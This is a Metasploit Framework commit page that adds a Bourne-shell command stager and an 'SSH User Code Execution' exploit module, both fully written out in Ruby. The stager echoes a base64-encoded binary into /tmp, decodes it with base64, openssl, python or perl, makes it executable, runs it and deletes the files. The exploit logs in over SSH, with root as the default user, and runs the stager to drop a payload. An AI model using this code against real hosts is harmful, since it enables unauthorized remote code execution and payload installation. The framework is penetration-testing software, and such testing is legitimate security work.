Skip to content

Commit 61afe14

Browse files
committed
Landing rapid7#1275, bash cmdstager
Conflicts: lib/rex/exploitation/cmdstager.rb Conflict was just the $Id$ tag, which is no longer used anyway.
2 parents 2504aa4 + bf54b58 commit 61afe14

File tree

5 files changed

+260
-1
lines changed

5 files changed

+260
-1
lines changed
Lines changed: 21 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,21 @@
1+
# -*- coding: binary -*-
2+
3+
require 'msf/core/exploit/cmdstager'
4+
5+
module Msf
6+
7+
###
8+
#
9+
# This mixin provides an interface for staging cmd to arbitrary payloads
10+
#
11+
###
12+
module Exploit::CmdStagerBourne
13+
14+
include Msf::Exploit::CmdStager
15+
16+
def create_stager(exe)
17+
Rex::Exploitation::CmdStagerBourne.new(exe)
18+
end
19+
end
20+
21+
end

lib/msf/core/exploit/mixins.rb

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -24,6 +24,7 @@
2424
require 'msf/core/exploit/cmdstager_debug_write'
2525
require 'msf/core/exploit/cmdstager_debug_asm'
2626
require 'msf/core/exploit/cmdstager_tftp'
27+
require 'msf/core/exploit/cmdstager_bourne'
2728

2829
# Protocol
2930
require 'msf/core/exploit/tcp'

lib/rex/exploitation/cmdstager.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,8 +1,8 @@
11
# -*- coding: binary -*-
2-
# $Id$
32

43
require 'rex/exploitation/cmdstager/base'
54
require 'rex/exploitation/cmdstager/vbs'
65
require 'rex/exploitation/cmdstager/debug_write'
76
require 'rex/exploitation/cmdstager/debug_asm'
87
require 'rex/exploitation/cmdstager/tftp'
8+
require 'rex/exploitation/cmdstager/bourne'
Lines changed: 105 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,105 @@
1+
# -*- coding: binary -*-
2+
3+
require 'rex/text'
4+
require 'rex/arch'
5+
require 'msf/core/framework'
6+
7+
module Rex
8+
module Exploitation
9+
10+
class CmdStagerBourne < CmdStagerBase
11+
12+
def initialize(exe)
13+
super
14+
15+
@var_encoded = Rex::Text.rand_text_alpha(5)
16+
@var_decoded = Rex::Text.rand_text_alpha(5)
17+
end
18+
19+
def generate(opts = {})
20+
opts[:temp] = opts[:temp] || '/tmp/'
21+
opts[:temp] = opts[:temp].gsub(/'/, "\\\\'")
22+
opts[:temp] = opts[:temp].gsub(/ /, "\\ ")
23+
super
24+
end
25+
26+
#
27+
# Override just to set the extra byte count
28+
#
29+
def generate_cmds(opts)
30+
# Set the start/end of the commands here (vs initialize) so we have @tempdir
31+
@cmd_start = "echo -n "
32+
@cmd_end = ">>#{@tempdir}#{@var_encoded}.b64"
33+
xtra_len = @cmd_start.length + @cmd_end.length + 1
34+
opts.merge!({ :extra => xtra_len })
35+
super
36+
end
37+
38+
39+
#
40+
# Simple base64...
41+
#
42+
def encode_payload(opts)
43+
Rex::Text.encode_base64(@exe)
44+
end
45+
46+
47+
#
48+
# Combine the parts of the encoded file with the stuff that goes
49+
# before / after it.
50+
#
51+
def parts_to_commands(parts, opts)
52+
53+
cmds = []
54+
parts.each do |p|
55+
cmd = ''
56+
cmd << @cmd_start
57+
cmd << p
58+
cmd << @cmd_end
59+
cmds << cmd
60+
end
61+
62+
cmds
63+
end
64+
65+
#
66+
# Generate the commands that will decode the file we just created
67+
#
68+
def generate_cmds_decoder(opts)
69+
decoders = [
70+
"base64 --decode -",
71+
"openssl enc -d -A -base64 -in /dev/stdin",
72+
"python -c 'import sys, base64; print base64.standard_b64decode(sys.stdin.read());'",
73+
"perl -MMIME::Base64 -ne 'print decode_base64($_)'"
74+
]
75+
decoder_cmd = []
76+
decoders.each do |cmd|
77+
binary = cmd.split(' ')[0]
78+
decoder_cmd << "(which #{binary} >&2 && #{cmd})"
79+
end
80+
decoder_cmd = decoder_cmd.join(" || ")
81+
decoder_cmd = "(" << decoder_cmd << ") 2> /dev/null > #{@tempdir}#{@var_decoded}.bin < #{@tempdir}#{@var_encoded}.b64"
82+
[ decoder_cmd ]
83+
end
84+
85+
def compress_commands(cmds, opts)
86+
# Make it all happen
87+
cmds << "chmod +x #{@tempdir}#{@var_decoded}.bin"
88+
cmds << "#{@tempdir}#{@var_decoded}.bin"
89+
90+
# Clean up after unless requested not to..
91+
if (not opts[:nodelete])
92+
cmds << "rm -f #{@tempdir}#{@var_decoded}.bin"
93+
cmds << "rm -f #{@tempdir}#{@var_encoded}.b64"
94+
end
95+
96+
super
97+
end
98+
99+
def cmd_concat_operator
100+
" ; "
101+
end
102+
103+
end
104+
end
105+
end

modules/exploits/multi/ssh/sshexec.rb

Lines changed: 132 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,132 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
require 'net/ssh'
10+
11+
class Metasploit3 < Msf::Exploit::Remote
12+
Rank = ManualRanking
13+
14+
include Msf::Exploit::CmdStagerBourne
15+
16+
attr_accessor :ssh_socket
17+
18+
def initialize
19+
super(
20+
'Name' => 'SSH User Code Execution',
21+
'Description' => %q{
22+
This module utilizes a stager to upload a base64 encoded
23+
binary which is then decoded, chmod'ed and executed from
24+
the command shell.
25+
},
26+
'Author' => ['Spencer McIntyre', 'Brandon Knight'],
27+
'References' =>
28+
[
29+
[ 'CVE', '1999-0502'] # Weak password
30+
],
31+
'License' => MSF_LICENSE,
32+
'Privileged' => true,
33+
'DefaultOptions' =>
34+
{
35+
'PrependFork' => 'true',
36+
'EXITFUNC' => 'process'
37+
},
38+
'Payload' =>
39+
{
40+
'Space' => 4096,
41+
'BadChars' => "",
42+
'DisableNops' => true
43+
},
44+
'Platform' => [ 'osx', 'linux' ],
45+
'Targets' =>
46+
[
47+
[ 'Linux x86',
48+
{
49+
'Arch' => ARCH_X86,
50+
'Platform' => 'linux'
51+
},
52+
],
53+
[ 'Linux x64',
54+
{
55+
'Arch' => ARCH_X86_64,
56+
'Platform' => 'linux'
57+
},
58+
],
59+
[ 'OSX x86',
60+
{
61+
'Arch' => ARCH_X86,
62+
'Platform' => 'osx'
63+
},
64+
],
65+
],
66+
'DefaultTarget' => 0,
67+
# For the CVE
68+
'DisclosureDate' => 'Jan 01 1999'
69+
)
70+
71+
register_options(
72+
[
73+
OptString.new('USERNAME', [ true, "The user to authenticate as.", 'root' ]),
74+
OptString.new('PASSWORD', [ true, "The password to authenticate with.", '' ]),
75+
OptString.new('RHOST', [ true, "The target address" ]),
76+
Opt::RPORT(22)
77+
], self.class
78+
)
79+
80+
register_advanced_options(
81+
[
82+
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false])
83+
]
84+
)
85+
end
86+
87+
def execute_command(cmd, opts = {})
88+
begin
89+
Timeout.timeout(3) do
90+
self.ssh_socket.exec!("#{cmd}\n")
91+
end
92+
rescue ::Exception
93+
end
94+
end
95+
96+
def do_login(ip, user, pass, port)
97+
opt_hash = {
98+
:auth_methods => ['password', 'keyboard-interactive'],
99+
:msframework => framework,
100+
:msfmodule => self,
101+
:port => port,
102+
:disable_agent => true,
103+
:password => pass
104+
}
105+
106+
opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
107+
108+
begin
109+
self.ssh_socket = Net::SSH.start(ip, user, opt_hash)
110+
rescue Rex::ConnectionError, Rex::AddressInUse
111+
fail_with(Exploit::Failure::Unreachable, 'Disconnected during negotiation')
112+
rescue Net::SSH::Disconnect, ::EOFError
113+
fail_with(Exploit::Failure::Disconnected, 'Timed out during negotiation')
114+
rescue Net::SSH::AuthenticationFailed
115+
fail_with(Exploit::Failure::NoAccess, 'Failed authentication')
116+
rescue Net::SSH::Exception => e
117+
fail_with(Exploit::Failure::Unknown, "SSH Error: #{e.class} : #{e.message}")
118+
end
119+
120+
if not self.ssh_socket
121+
fail_with(Exploit::Failure::Unknown)
122+
end
123+
return
124+
end
125+
126+
def exploit
127+
do_login(datastore['RHOST'], datastore['USERNAME'], datastore['PASSWORD'], datastore['RPORT'])
128+
129+
print_status("#{datastore['RHOST']}:#{datastore['RPORT']} - Sending Bourne stager...")
130+
execute_cmdstager({:linemax => 500})
131+
end
132+
end

0 commit comments

Comments
 (0)